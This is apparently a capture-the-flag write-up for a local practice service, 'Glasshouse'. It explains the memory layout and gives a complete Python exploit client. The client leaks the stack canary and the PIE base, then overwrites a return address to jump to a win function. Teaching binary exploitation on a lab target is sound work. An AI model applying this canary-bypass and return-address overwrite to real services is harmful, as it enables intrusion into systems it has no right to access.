The service
Glasshouse prints an entry pointer and accepts two commands. peek 64 exposes the eight bytes sitting just after a 64 byte buffer. submit HEX decodes a hex string and copies it into the same frame. The local service models the layout and the canary check.
entry=0x555500001470
> peek 64
word=00... [eight bytes in little endian]
> submit 414141...
Memory layout
The input buffer occupies offsets 0x00 through 0x3f. The eight byte canary begins at 0x40, saved frame data occupies 0x48 through 0x4f, and the saved return address begins at 0x50. The entry leak gives the PIE base: entry - 0x1470. The target function is at base + 0x11f0.
| Payload range | Contents |
|---|---|
| 0–63 | Filler bytes |
| 64–71 | Exact leaked canary |
| 72–79 | Saved frame placeholder |
| 80–87 | Address of win |
Solve path
- Parse the
entryline and calculate the base. - Use
peek 64to obtain the canary bytes. - Decode the returned hex and unpack it with
u64. - Build an 88 byte payload that puts the canary back in its original position and changes the return address.
- Hex encode the payload for the
submitcommand.
payload = b"A" * 64 + p64(canary) + b"B" * 8 + p64(win)
sock.sendall(b"submit " + payload.hex().encode() + b"\n")Using line based input for the hex string means zero bytes in the canary do not terminate the command early.
Run it locally
python3 glasshouse_server.py 127.0.0.1 31340
python3 glasshouse.py 127.0.0.1 31340Start the service in one terminal, then run the client in another. Both use the Python standard library.
Complete client
import socket
import struct
import sys
p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]
ENTRY_OFFSET = 0x1470
WIN_OFFSET = 0x11f0
def read_until(sock, marker):
data = bytearray()
while not data.endswith(marker):
part = sock.recv(1)
if not part:
raise ConnectionError("connection closed")
data.extend(part)
return bytes(data)
def main(host, port):
with socket.create_connection((host, port), timeout=3) as sock:
banner = read_until(sock, b"\n").strip()
entry = int(banner.split(b"=", 1)[1], 16)
base = entry - ENTRY_OFFSET
win = base + WIN_OFFSET
read_until(sock, b"> ")
sock.sendall(b"peek 64\n")
answer = read_until(sock, b"\n").strip()
canary = u64(bytes.fromhex(answer.split(b"=", 1)[1].decode()))
print("canary", hex(canary), "win", hex(win))
read_until(sock, b"> ")
payload = b"A" * 64 + p64(canary) + b"B" * 8 + p64(win)
sock.sendall(b"submit " + payload.hex().encode() + b"\n")
print(read_until(sock, b"\n").decode(errors="replace").strip())
if __name__ == "__main__":
if len(sys.argv) != 3:
raise SystemExit("usage: python3 glasshouse.py HOST PORT")
main(sys.argv[1], int(sys.argv[2]))